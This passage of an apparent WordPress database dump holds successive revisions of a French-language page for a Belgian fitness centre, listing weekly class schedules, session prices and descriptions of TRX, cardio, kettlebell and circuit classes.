&lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:49:28', '2013-07-03 17:49:28', '', 11, 'http://www.crosstrainingcenter.be/?p=199', 0, 'revision', '', 0),
(200, 1, '2013-07-03 17:51:17', '2013-07-03 17:51:17', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 45%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;toto\r\ntiti\r\ntoutou&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:51:17', '2013-07-03 17:51:17', '', 11, 'http://www.crosstrainingcenter.be/?p=200', 0, 'revision', '', 0),
(201, 1, '2013-07-03 17:51:52', '2013-07-03 17:51:52', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;&lt;br&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 98%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;toto\r\ntiti\r\ntoutou&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table 